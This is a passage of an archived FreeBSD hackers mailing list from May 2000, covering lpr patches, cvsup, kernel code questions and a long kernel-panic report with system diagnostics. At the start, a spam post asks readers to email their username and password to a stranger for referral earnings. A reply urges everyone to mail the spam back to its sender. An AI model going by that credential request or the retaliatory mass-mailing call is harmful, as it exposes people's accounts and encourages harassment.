DON'T even need the Veiw Bar cause I have a program that eliminates that all and all you have to do "After you sign up" is Email me YOUR USER NAME and PASSWORD so I CAN START SURFING THE WEB FOR YOU SO YOU CAN START MAKING MONEY. You don't even have to download the veiw bar you are done with alladvantage once you sign up and give me your user name and password. You can earn even more when you tell your friends about it. Really! It's all about becoming part of a community that finally recognizes our value as consumers. Join now (there's no survey to fill out) at http://www.alladvantage.com/home.asp?refid=3DLZG150 and please use my membership ID (LZG-150) when asked if you were referred by someone. And http://cheetahtech.cjb.net Thanks a lot and happy surfing! Scott Pio Member ID# LZG-150 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 21:24:21 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id A851437B574 for ; Tue, 2 May 2000 21:24:18 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id AAA808792; Wed, 3 May 2000 00:24:11 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: <20000502174713.A14919@dan.emsphone.com> Date: Wed, 3 May 2000 00:24:07 -0400 To: Lorenzo Iania From: Garance A Drosihn Subject: Re: PROBLEM FOUND: Re: lpr: order of print requests Cc: freebsd-hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 8:37 PM -0400 5/2/00, Garance A Drosihn wrote: >This should not break anything. I will write up an update which >does this, unless someone thinks it is a BadIdea(tm) for some reason. >Someone else would have to commit the change to the official source, >but at least Lorenzo could try that change and see if it helps his >situation. Well, I waited several whole minutes and no one complained, and I happen to be working on RPI's lpd right now, so I wrote up an update for this. Please see http://www.freebsd.org/cgi/query-pr.cgi?pr=18361 [PATCH] Fix for queue-ordering problem in lpr/lpd/lpq or pick up the update from: ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr_qfix.diff and test it out. It seems to work fine for me. If no problems come up, please submit a follow-up to the PR so people know it has been tested. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 21:27: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhost.iitb.ac.in (mailhost.iitb.ac.in [203.197.74.142]) by hub.freebsd.org (Postfix) with SMTP id 24D4637B93B for ; Tue, 2 May 2000 21:27:01 -0700 (PDT) (envelope-from n6002007@cc.iitb.ernet.in) Received: (qmail 2590 invoked from network); 3 May 2000 04:39:35 -0000 Received: from tulsi.cc.iitb.ernet.in (n6002007@144.16.106.140) by mailhost.iitb.ac.in with SMTP; 3 May 2000 04:39:35 -0000 Received: from localhost (n6002007@localhost) by tulsi.cc.iitb.ernet.in (8.8.8/8.8.7-IITB-with-MX) with SMTP id JAA04286; Wed, 3 May 2000 09:54:44 +0530 (IST) Date: Wed, 3 May 2000 09:54:44 +0530 (IST) From: Dhar To: hspio@worldnet.att.net Cc: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Subject: Re: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE In-Reply-To: <20000503033321.ZLXH1339.mtiwmhc21.worldnet.att.net@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Join now (there's no survey to fill out) at > http://www.alladvantage.com/home.asp?refid=LZG150 and please > use my membership ID (LZG-150) when asked if you were referred > by someone. And http://cheetahtech.cjb.net Darling, here is what you get for spamming us. I guess others on the mailing list will also do this. I will do exactly what u say, but when it comes to the person who referred me I will give LZG-149 instead of what you said. I guess it will serve you right for all this junk you have been sending. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 22:19:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc2.bc.home.com (ha1.rdc2.bc.wave.home.com [24.2.10.68]) by hub.freebsd.org (Postfix) with ESMTP id 9D7BE37C0E1 for ; Tue, 2 May 2000 22:19:38 -0700 (PDT) (envelope-from dr@dursec.com) Received: from kyxbot.zorg ([24.113.134.64]) by mail.rdc2.bc.home.com (InterMail vM.4.01.02.17 201-229-119) with SMTP id <20000503051932.HZLT26943.mail.rdc2.bc.home.com@kyxbot.zorg>; Tue, 2 May 2000 22:19:36 -0700 From: Dragos Ruiu Organization: kyx.net To: hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Subject: Re: Spammage: I Surf, YOU GET PAID!!!!!! Promise Date: Tue, 2 May 2000 22:01:41 -0700 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default> In-Reply-To: <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default> MIME-Version: 1.0 Message-Id: <0005022217370R.00340@kyxbot.zorg> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would recommend that everyone who received this forward it back to Mr. Pio at hspio@worldnet.att.net to make the point that this is unacceptable behaviour. Just once each should suffice, and not contravene any usage policies :-). I did... Call it distributed spam negative reinforcement. :-) :-) :-} Let's hope this will be sufficient to reinforce the lesson about what not to do on public technical mailing lists. cheers, --dr -- dursec.com / kyx.net - we're from the future http://www.dursec.com learn kanga-foo from security experts: CanSecWest - May 10-12 Vancouver Speakers: Ron Gula/NSW, Ken Williams/E&Y, Marty Roesch/Hiverworld, Fyodor/insecure.org, RainForestPuppy/wiretrip.net, Theo de Raadt/OpenBSD Lance Spitzner/Sun, Fyodor Yarochkin/KALUG, Max Vision/whitehats.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 0:31:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mokimaki.ethereal.net (mokimaki.ethereal.net [209.228.7.140]) by hub.freebsd.org (Postfix) with ESMTP id 6FB2237B82B; Wed, 3 May 2000 00:31:43 -0700 (PDT) (envelope-from jkb@mokimaki.ethereal.net) Received: (from jkb@localhost) by mokimaki.ethereal.net (8.10.0.Beta10/8.10.0.Beta10) id e437V5b70091; Wed, 3 May 2000 00:31:05 -0700 (PDT) Date: Wed, 3 May 2000 00:31:05 -0700 From: Jan Koum To: Peter Wemm Cc: Nik Clayton , hackers@FreeBSD.ORG Subject: Re: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup Message-ID: <20000503003105.D96610@ethereal.net> References: <20000501142517.3C4641CD7@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.1.11i In-Reply-To: <20000501142517.3C4641CD7@overcee.netplex.com.au>; from peter@netplex.com.au on Mon, May 01, 2000 at 07:25:17AM -0700 X-Operating-System: FreeBSD mokimaki.ethereal.net 3.4-RELEASE FreeBSD 3.4-RELEASE X-Unix-Uptime: 11:01AM up 11 days, 5 hrs, 21 users, load averages: 0.27, 0.26, 0.20 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i agree with peter. first thing i do after a fresh OS install is ftp over binary from ftp://ftp.freebsd.org/pub/FreeBSD/CVSup/binaries/ the next thing is do is: $ cp /usr/share/examples/cvsup/ . $ vi $ ./cvsup -g -L 2 so your change won't be the end of the day, but it will just extra step. [or i just get to learn cvsup command line options ;] -- yan On Mon, May 01, 2000 at 07:25:17AM -0700, Peter Wemm wrote: > Nik Clayton wrote: > > Folks, > > > > Would anyone object to pulling /usr/share/examples/cvsup out of the base > > system, and into /usr/local/share/examples/cvsup, to be installed by the > > CVSup port? There's no technical reason for the change, but it would be > > more consistent with our other ports. > > Which cvsup port would get it? There are two... > > And what about the folks who ftp the binary and never install the ports > collection? They use the /usr/share/examples stuff as a base. I certainly > do not install the ports dist at sysinstall time and only do so eventually > after cvsup'ing the ncvs tree and checking source and ports out of there. > > Also, the share/examples stuff is supposed to be preset for getting the > active branch that the release is from, when using checkout mode. To > duplicate that in the port you'd need multiple versions of the files and be > sensitive on the OS version. > > Cheers, > -Peter > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 0:33: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 2F4A137B5EF for ; Wed, 3 May 2000 00:33:01 -0700 (PDT) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id RAA04251 for hackers@freebsd.org; Wed, 3 May 2000 17:32:56 +1000 (EST) From: Darren Reed Message-Id: <200005030732.RAA04251@cairo.anu.edu.au> Subject: protosw or ipprotosw - code mess in netinet To: hackers@freebsd.org Date: Wed, 3 May 2000 17:32:56 +1000 (Australia/NSW) X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Looking through /sys/netinet, it would appear that sometimes inetsw[] is "struct protosw" and others "struct ipprotosw". Which is it meant to be ? If ipprotosw is the same as protosw, why does ipprotosw exist ? e.g. in_proto.c:struct ipprotosw inetsw[] = { in_proto.c: (struct protosw *)inetsw, in_proto.c: (struct protosw *)&inetsw[sizeof(inetsw)/sizeof(inetsw[0])], 0, ip_mroute.c: extern struct protosw inetsw[]; ip_output.c:extern struct protosw inetsw[]; Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 0:44:11 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 7E12637B65F for ; Wed, 3 May 2000 00:44:03 -0700 (PDT) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id RAA05426 for hackers@freebsd.org; Wed, 3 May 2000 17:43:59 +1000 (EST) From: Darren Reed Message-Id: <200005030743.RAA05426@cairo.anu.edu.au> Subject: snapshots... To: hackers@freebsd.org Date: Wed, 3 May 2000 17:43:59 +1000 (Australia/NSW) X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone have any idea about when a snapshot for -current will be available ? Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 0:49:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from account.abs.net (account.abs.net [207.114.5.70]) by hub.freebsd.org (Postfix) with ESMTP id DA86D37B92B; Wed, 3 May 2000 00:49:31 -0700 (PDT) (envelope-from howardl@account.abs.net) Received: (from howardl@localhost) by account.abs.net (8.9.3/8.9.3+RBL+DUL+RSS+ORBS) id DAA84934; Wed, 3 May 2000 03:48:42 -0400 (EDT) (envelope-from howardl) From: Howard Leadmon Message-Id: <200005030748.DAA84934@account.abs.net> Subject: Debugging Kernel/System Crashes, can anyone help?? To: freebsd-stable@freebsd.org, freebsd-hackers@freebsd.org Date: Wed, 3 May 2000 03:48:42 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I know I posted a few messages here in the past, but maybe someone who is good at tracking kernel problems can step up and lend a hand. I have a machine running FBSD 4.0-STABLE, and have been experiencing almost daily kernel panics or reboots on the machine. I have replaced ALL of the hardware, and reloaded the OS, but still having troubles. I am at a bit of a loss as to what is going on. From one panic, I thought well maybe this is an SMP issue, but removed one of the CPU's and still the box crashes. As I have basically replaced everything, I am at a loss as to where to go from here, so looking for some type of pointers or help with this.. The other day I was there, and got the following from one of the crashes, as many times I am gone and luckally in some ways the box will just panicboot and go on it's way. Here is what I was able to copy down: Fatal trap 12: page fault while in kernel mode mp_lock=01000002; cpuid=1; lapic.id=01000000 fault virtual address= 0x30 fault code= supervisor read, page not present instruction pointer= 0x8:0xC01CAF71 stack pointer= 0x10:0xFF80DE48 frame pointer= 0x10:0xFF80DE4C code segment= base 0x0, limit 0xFFFFF, type 0x1B = DPL 0, pres 1, def 32, gran 1 processor eflags= interrupt enabled, resume, IOPL=0 current process = idle interupt mask= bio <- SMP: XXX trap number= 12 panic: page fault The formatting of it may not be perfect, but the information should be accurate, as I tried to be precise on what I wrote down. Also here are a few previous messages I had posted a while back when I thought this might be network related, but after trying several different NIC's I still have the same issues. I will include the info below, as maybe it will have some value in trying to debunk this problem. ==== Hello, I am running a 4.0-STABLE machine which is being used to host an Undernet IRC server, and the machine keeps dying at times, or should I say the networking side of it is at least dying. At first I thought it might have been related to the dc (DEC Chip) based drivers, so I replaced it with a EEpro board using the fxp driver, but the same results. I have also set MNBCLUSTERS to 20480, and when I do a netstat I see in general plenty of free clusters, but suspect I must be running out of some other resource. If I do a netstat -m, I see info like this: u2$ netstat -m 1697/2144/81920 mbufs in use (current/peak/max): 498 mbufs allocated to data 1199 mbufs allocated to packet headers 221/514/20480 mbuf clusters in use (current/peak/max) 1296 Kbytes allocated to network (50% in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines When the machine last froze, the Kbytes allocated to the network was 99% in use, and the mbufs were up to about 20K of the 80K allocated, but I saw no calls for memory denied or delayed. Still after a few hours of uptime, I start seeing errors like this, and then the machines network interface dies and I have to reboot to get everything back in operation: Mar 27 12:39:00 u2 /kernel: fxp0: device timeout Mar 27 12:39:00 u2 syslogd: sendto: No buffer space available Mar 27 12:39:38 u2 last message repeated 2 times Mar 27 12:41:32 u2 last message repeated 6 times Mar 27 12:44:15 u2 syslogd: sendto: No buffer space available Mar 27 12:44:04 u2 last message repeated 8 times Not sure what other information to send, but here is a dmesg on the machine, and if anyone has any ideas, or needs more info please let me know. It's very annoying to have to reboot this machine daily, sometimes more often.. :( Copyright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-STABLE #8: Wed Mar 22 18:31:51 EST 2000 howardl@u2.abs.net:/usr/src/sys/compile/U2 Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Pentium II Xeon/Celeron (551.25-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x665 Stepping = 5 Features=0x183fbff real memory = 402587648 (393152K bytes) config> q avail memory = 387022848 (377952K bytes) Programming 24 pins in IOAPIC #0 IOAPIC #0 intpin 2 -> irq 0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc02c8000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc02c809c. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xf000-0xf00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 pci0: at 7.2 irq 5 Timecounter "PIIX" frequency 3579545 Hz chip1: port 0x5000-0x500f at device 7.3 on pci0 fxp0: port 0xd400-0xd41f mem 0xd5400000-0xd54fffff,0xd5510000-0xd5510fff irq 17 at device 13.0 on pci0 fxp0: Ethernet address 00:a0:c9:c7:fb:ff pci0: at 15.0 irq 16 atapci1: port 0xe000-0xe0ff,0xdc00-0xdc03,0xd800-0xd807 irq 18 at device 19.0 on pci0 atapci2: port 0xec00-0xecff,0xe800-0xe803,0xe400-0xe407 irq 18 at device 19.1 on pci0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode ppi0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port plip0: on ppbus0 APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via IOAPIC #0 intpin 2 SMP: AP CPU #1 Launched! ad0: 8693MB [17662/16/63] at ata0-master using UDMA33 Mounting root from ufs:/dev/ad0s1a ===== First as mentioned previously I had an Intel EEpro card in the box running to my Cisco Catalyst switch, and on the console when everything fell apart and I lost connectivity, I see the following: fxp0: device timeout syslogd: sendto: No buffer space available Here is some of the requested debugging information: ifconfig: fxp0: flags=8843 mtu 1500 inet 207.114.4.35 netmask 0xfffffff0 broadcast 207.114.4.47 inet 207.114.4.36 netmask 0xffffffff broadcast 207.114.4.36 inet 207.114.4.45 netmask 0xffffffff broadcast 207.114.4.45 inet 207.114.4.46 netmask 0xffffffff broadcast 207.114.4.46 ether 00:a0:c9:c7:fb:ff media: autoselect (100baseTX ) status: active supported media: autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP netstat -m: 403/21472/81920 mbufs in use (current/peak/max): 259 mbufs allocated to data 144 mbufs allocated to packet headers 124/10652/20480 mbuf clusters in use (current/peak/max) 23988 Kbytes allocated to network (1% in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines vmstat -m: Memory statistics by bucket size Size In Use Free Requests HighWater Couldfree 16 286 994 4581005 0 1280 32 179 36685 518690 0 640 64 14436 4380 1373135 0 320 128 1096 88 9883 0 160 256 13335 30569 317127 0 80 512 18 6 74806 0 40 1K 107 949 12272 0 20 2K 12 6 18478 0 10 4K 13 2 98260 0 5 8K 2 2 384331 0 5 16K 8 0 2689062 0 5 32K 3 0 1321506 0 5 64K 3 0 3 0 5 128K 3 0 3 0 5 256K 1 0 1 0 5 Memory usage type by bucket size Size Type(s) 16 MD disk, kld, proc-args, atexit, temp, sysctl, bus, rman, soname, pcb, mount, vnodes, ether_multi, routetbl, p1003.1b, devbuf, isa_devlist, atkbddev 32 kld, sigio, proc-args, temp, pgrp, proc, subproc, sysctl, bus, eventhandler, SWAP, pcb, cluster_save buffer, vnodes, BPF, ifaddr, ether_multi, routetbl, in_multi, tseg_qent, devbuf 64 file, proc-args, lockf, temp, session, subproc, bus, eventhandler, rman, pcb, vfscache, cluster_save buffer, vnodes, ifaddr, ether_multi, routetbl, isadev, AD driver 128 ppbusdev, kld, timecounter, dev_t, proc-args, zombie, temp, cred, bus, ttys, soname, vfscache, cluster_save buffer, mount, vnodes, ifaddr, routetbl, ZONE, devbuf 256 file desc, proc-args, temp, subproc, bus, ttys, vnodes, ifaddr, routetbl, NFS daemon, FFS node, devbuf 512 kld, file desc, temp, bus, ioctlops, ptys, BIO buffer, mount, UFS mount, ATA generic, devbuf, isa_devlist 1K MD disk, kld, file desc, temp, proc, bus, ioctlops, BIO buffer, NQNFS Lease, AD driver, devbuf, isa_devlist 2K file desc, temp, bus, pcb, BIO buffer, UFS mount, devbuf 4K kld, file desc, temp, proc, devbuf, memdesc 8K kld, file desc, temp, UFS mount 16K file desc, temp, devbuf 32K file desc, temp, devbuf, mbuf 64K ISOFS mount, NFS hash, UFS ihash 128K temp, vfscache, VM pgdata 256K SWAP Memory statistics by type Type Kern Type InUse MemUse HighUse Limit Requests Limit Limit Size(s) MD disk 2 2K 2K 64194K 2 0 0 16,1K ppbusdev 3 1K 1K 64194K 3 0 0 128 ISOFS mount 1 64K 64K 64194K 1 0 0 64K kld 10 11K 16K 64194K 53 0 0 16,32,128,512,1K,4K,8K timecounter 10 2K 2K 64194K 10 0 0 128 dev_t 540 68K 68K 64194K 540 0 0 128 file desc 35 46K 60K 64194K 6800 0 0 256,512,1K,2K,4K,8K,16K,32K file 109 7K 283K 64194K 1135473 0 0 64 sigio 1 1K 1K 64194K 1 0 0 32 proc-args 23 1K 2K 64194K 5559 0 0 16,32,64,128,256 zombie 0 0K 1K 64194K 6753 0 0 128 atexit 1 1K 1K 64194K 1 0 0 16 lockf 1 1K 1K 64194K 23 0 0 64 temp 177 82K 115K 64194K 4596159 0 0 16,32,64,128,256,512,1K,2K,4K,8K,16K,32K,128K pgrp 22 1K 1K 64194K 1233 0 0 32 session 20 2K 2K 64194K 949 0 0 64 proc 7 10K 10K 64194K 11 0 0 32,1K,4K subproc 72 7K 10K 64194K 14795 0 0 32,64,256 cred 9 2K 2K 64194K 1082 0 0 128 sysctl 0 0K 1K 64194K 646 0 0 16,32 bus 358 29K 29K 64194K 476 0 0 16,32,64,128,256,512,1K,2K eventhandler 11 1K 1K 64194K 11 0 0 32,64 SWAP 2 141K 141K 64194K 2 0 0 32,256K ioctlops 0 0K 1K 64194K 5 0 0 512,1K rman 50 3K 3K 64194K 79 0 0 16,64 ttys 410 53K 63K 64194K 1229 0 0 128,256 ptys 3 2K 2K 64194K 3 0 0 512 soname 1 1K 1K 64194K 3940726 0 0 16,128 pcb 45 5K 20K 64194K 639691 0 0 16,32,64,2K BIO buffer 100 102K 1048K 64194K 9950 0 0 512,1K,2K vfscache 14044 1007K 1007K 64194K 17344 0 0 64,128,128K cluster_save buffer 0 0K 1K 64194K 694 0 0 32,64,128 mount 4 2K 2K 64194K 6 0 0 16,128,512 vnodes 24 6K 6K 64194K 327 0 0 16,32,64,128,256 BPF 3 1K 1K 64194K 3 0 0 32 ifaddr 15 2K 2K 64194K 15 0 0 32,64,128,256 ether_multi 7 1K 1K 64194K 7 0 0 16,32,64 routetbl 61 9K 10295K 64194K 585667 0 0 16,32,64,128,256 in_multi 2 1K 1K 64194K 2 0 0 32 tseg_qent 0 0K 5K 64194K 212819 0 0 32 NFS daemon 1 1K 1K 64194K 1 0 0 256 NQNFS Lease 1 1K 1K 64194K 1 0 0 1K NFS hash 1 64K 64K 64194K 1 0 0 64K p1003.1b 1 1K 1K 64194K 1 0 0 16 FFS node 13187 3297K 3297K 64194K 14242 0 0 256 UFS ihash 1 64K 64K 64194K 1 0 0 64K UFS mount 9 20K 20K 64194K 9 0 0 512,2K,8K VM pgdata 1 128K 128K 64194K 1 0 0 128K ZONE 18 3K 3K 64194K 18 0 0 128 isadev 11 1K 1K 64194K 11 0 0 64 ATA generic 0 1K 1K 64194K 1 0 0 512 AD driver 2 2K 2K 64194K 204988 0 0 64,1K devbuf 82 207K 207K 64194K 114 0 0 16,32,128,256,512,1K,2K,4K,16K,32K mbuf 1 28K 28K 64194K 1 0 0 32K memdesc 1 4K 4K 64194K 1 0 0 4K isa_devlist 0 0K 2K 64194K 19 0 0 16,512,1K atkbddev 2 1K 1K 64194K 2 0 0 16 Memory Totals: In Use Free Requests 5472K 10077K 11398562 Now to probably complicate things more, I replaced the EEpro card with a DEC 21143 based board using the dc driver, and with that card the machine dies a little less often, but when it does the machine usually hangs hard, or reboots. Catching the console before it's totally dead, I can see the following message scrolling on the screen: dc0: watchdog timeout Different than the error from the EEpro card, but still network related, so again I dumped the above information for comparison, and here it is: ifconfig: dc0: flags=8843 mtu 1500 inet 207.114.4.35 netmask 0xfffffff0 broadcast 207.114.4.47 inet 207.114.4.36 netmask 0xffffffff broadcast 207.114.4.36 inet 207.114.4.45 netmask 0xffffffff broadcast 207.114.4.45 inet 207.114.4.46 netmask 0xffffffff broadcast 207.114.4.46 ether 00:c0:f0:3b:a7:eb media: autoselect (100baseTX ) status: active supported media: autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP none netstat -m: 7526/15744/81920 mbufs in use (current/peak/max): 6064 mbufs allocated to data 1462 mbufs allocated to packet headers 3948/7874/20480 mbuf clusters in use (current/peak/max) 17716 Kbytes allocated to network (49% in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines vmstat -m: Memory statistics by bucket size Size In Use Free Requests HighWater Couldfree 16 296 984 4706660 0 1280 32 3254 21706 599940 0 640 64 14657 3199 1669347 0 320 128 1099 53 15587 0 160 256 16537 14743 357609 0 80 512 14 2 30928 0 40 1K 33 743 13704 0 20 2K 13 5 40824 0 10 4K 13 2 348612 0 5 8K 2 4 1255714 0 5 16K 10 0 2479452 0 5 32K 1 0 1485462 0 5 64K 4 0 4 0 5 128K 3 0 3 0 5 256K 1 0 1 0 5 Memory usage type by bucket size Size Type(s) 16 MD disk, kld, proc-args, atexit, temp, sysctl, bus, rman, soname, pcb, mount, vnodes, ether_multi, routetbl, p1003.1b, devbuf, isa_devlist, atkbddev 32 kld, sigio, proc-args, temp, pgrp, proc, subproc, sysctl, bus, eventhandler, SWAP, pcb, cluster_save buffer, vnodes, BPF, ifaddr, ether_multi, routetbl, in_multi, tseg_qent, newblk, bmsafemap, indirdep, freefrag, freefile, diradd, dirrem, devbuf 64 file, proc-args, lockf, temp, session, subproc, bus, eventhandler, rman, pcb, vfscache, cluster_save buffer, vnodes, ifaddr, ether_multi, routetbl, pagedep, allocdirect, allocindir, isadev, AD driver 128 ppbusdev, kld, timecounter, dev_t, proc-args, zombie, temp, cred, bus, ttys, soname, vfscache, cluster_save buffer, mount, vnodes, ifaddr, routetbl, inodedep, freeblks, ZONE, devbuf 256 file desc, proc-args, temp, subproc, bus, ttys, vnodes, ifaddr, routetbl, NFS daemon, newblk, FFS node, devbuf 512 kld, file desc, temp, bus, ioctlops, ptys, BIO buffer, mount, UFS mount, ATA generic, devbuf, isa_devlist 1K MD disk, kld, file desc, temp, proc, bus, ioctlops, BIO buffer, NQNFS Lease, AD driver, devbuf, isa_devlist 2K file desc, temp, bus, pcb, BIO buffer, UFS mount, devbuf 4K kld, file desc, temp, proc, devbuf, memdesc 8K kld, file desc, temp, indirdep, UFS mount 16K file desc, temp, pagedep, devbuf 32K temp, mbuf 64K ISOFS mount, NFS hash, inodedep, UFS ihash 128K temp, vfscache, VM pgdata 256K SWAP Memory statistics by type Type Kern Type InUse MemUse HighUse Limit Requests Limit Limit Size(s) MD disk 2 2K 2K 64189K 2 0 0 16,1K ppbusdev 3 1K 1K 64189K 3 0 0 128 ISOFS mount 1 64K 64K 64189K 1 0 0 64K kld 10 11K 16K 64189K 53 0 0 16,32,128,512,1K,4K,8K timecounter 10 2K 2K 64189K 10 0 0 128 dev_t 540 68K 68K 64189K 540 0 0 128 file desc 37 30K 36K 64189K 7923 0 0 256,512,1K,2K,4K,8K,16K file 174 11K 208K 64189K 1332169 0 0 64 sigio 1 1K 1K 64189K 1 0 0 32 proc-args 24 2K 2K 64189K 6468 0 0 16,32,64,128,256 zombie 0 0K 1K 64189K 7875 0 0 128 atexit 1 1K 1K 64189K 1 0 0 16 lockf 1 1K 1K 64189K 3 0 0 64 temp 169 113K 138K 64189K 5648678 0 0 16,32,64,128,256,512,1K,2K,4K,8K,16K,32K,128K pgrp 23 1K 1K 64189K 1400 0 0 32 session 21 2K 2K 64189K 1115 0 0 64 proc 7 10K 10K 64189K 7 0 0 32,1K,4K subproc 77 7K 9K 64189K 17254 0 0 32,64,256 cred 9 2K 2K 64189K 1264 0 0 128 sysctl 0 0K 1K 64189K 738 0 0 16,32 bus 367 31K 31K 64189K 503 0 0 16,32,64,128,256,512,1K,2K eventhandler 11 1K 1K 64189K 11 0 0 32,64 SWAP 2 141K 141K 64189K 2 0 0 32,256K ioctlops 0 0K 1K 64189K 5 0 0 512,1K rman 50 3K 3K 64189K 79 0 0 16,64 ttys 410 53K 58K 64189K 1307 0 0 128,256 ptys 2 1K 1K 64189K 2 0 0 512 soname 1 1K 1K 64189K 3967614 0 0 16,128 pcb 50 5K 19K 64189K 738447 0 0 16,32,64,2K BIO buffer 26 28K 769K 64189K 12308 0 0 512,1K,2K vfscache 14194 1016K 1016K 64189K 18278 0 0 64,128,128K cluster_save buffer 0 0K 1K 64189K 981 0 0 32,64,128 mount 4 2K 2K 64189K 6 0 0 16,128,512 vnodes 24 6K 6K 64189K 327 0 0 16,32,64,128,256 BPF 3 1K 1K 64189K 3 0 0 32 ifaddr 16 2K 2K 64189K 16 0 